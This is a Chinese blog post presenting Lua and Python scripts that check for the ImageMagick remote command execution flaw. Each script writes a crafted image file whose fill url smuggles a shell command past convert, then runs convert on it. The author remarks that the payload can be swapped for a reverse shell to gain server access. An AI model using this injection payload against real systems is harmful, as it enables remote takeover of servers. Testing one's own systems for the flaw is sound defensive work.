zoukankan      html  css  js  c++  java
  • ImageMagick远程命令执行工具检测工具

    ImageMagick这个漏洞昨天晚上就出来了,今天才有时间研究一下,今天自己也测试了一下

    效果图:

    =======================

    用lua写了一个检测脚本

     1 print ("Checking...")
     2 file=io.open("exp.jpg","w")
     3 --file:write("s")
     4 file:write("push graphic-context
    viewbox 0 0 640 480
    ")
     5 file:write("fill 'url(https://example.com/image.jpg")
     6 file:write('"|echo "success!!!)')
     7 file:write("'
    ")
     8 file:write("pop graphic-context")
     9 file:close()
    10 cmd=io.popen("convert exp.jpg test.png")
    11 result=cmd:read("*all")
    12 print(result)

    python版本:

     1 import os
     2 
     3 file = open("./x","w")
     4 file.write("push graphic-context
    ")
     5 file.write("viewbox 0 0 640 480
    ")
     6 file.write("fill 'url(https://example.com/image.jpg"|echo "dangerous!)'
    ")
     7 file.write("pop graphic-context
    ")
     8 file.close()
     9 
    10 res = os.system("convert ./x ./y 2>/dev/null")
    11 if os.path.exists("x"):
    12     os.remove("x")
    13 if os.path.exists("y"):
    14     os.remove("y")

    如果存在返回

    当然playload自己改吧,可以直接反弹个shell回来,直接拿到服务器权限

    附上一篇分析文章:

    http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462399591384&from=groupmessage&isappinstalled=0

  • 相关阅读:
    redmineBUG系统
    MySQL错误代码
    一篇文章全面了解监控知识体系
    K2 blackpearl 流程开发(一)
    HTTP 协议详解
    http协议学习系列
    浅谈HTTP中Get与Post的区别
    iOS应用程序生命周期(前后台切换,应用的各种状态)详解
    深入浅出 iOS 之生命周期
    iOS-利用AFNetworking(AFN 1.x)-实现文件上传
  • 原文地址:https://www.cnblogs.com/sevck/p/5462365.html
Copyright © 2011-2022 走看看